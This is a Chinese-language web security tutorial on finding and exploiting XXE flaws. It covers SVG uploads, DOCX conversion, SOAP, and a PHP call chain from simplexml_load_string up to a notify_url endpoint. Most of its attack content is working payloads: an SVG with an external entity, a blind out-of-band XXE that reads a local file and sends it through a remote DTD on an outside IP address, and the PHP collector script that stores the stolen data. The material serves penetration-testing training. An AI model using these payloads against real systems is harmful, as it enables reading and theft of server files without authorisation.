知識點:
1、WEB攻防-XML&XXE-黑盒功能點挖掘
2、WEB攻防-XML&XXE-白盒函數點挖掘
3、WEB攻防-XML&XXE-SRC報告
一、演示案例-WEB攻防-XML&XXE-黑盒功能點挖掘
1、不安全的圖像讀取-SVG
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://dnslog.cn" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text>
</svg>
2、不安全的文檔轉換-DOCX
參考地址:https://blog.csdn.net/weixin_57567655/article/details/124588490
也可以使用工具直接生成:https://github.com/whitel1st/docem
3、不安全的傳遞服務-SOAP
二、演示案例-WEB攻防-XML&XXE-白盒函數點挖掘
1、漏洞函數simplexml_load_string
2、pe_getxml函數調用了漏洞函數
3、wechat_getxml調用了pe_getxml
4、notify_url調用了wechat_getxml
5、訪問notify_url文件觸發wechat_getxml函數,構造Paylod測試。
先嘗試讀取文件,無回顯后帶外測試:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn">
%file;
]>
<root>&send;</root>
然后帶外傳遞數據解決無回顯:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">get.php:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
三、演示案例-WEB攻防-XML&XXE-SRC報告
https://xz.aliyun.com/news/16463
https://mp.weixin.qq.com/s/biQgwMU2v1I92CsDOFRB7g
https://mp.weixin.qq.com/s/1pj9sbwKT6RjIiLgNC7-Gg
https://mp.weixin.qq.com/s/Mgd91_Iie-wZU7MqP5oCXw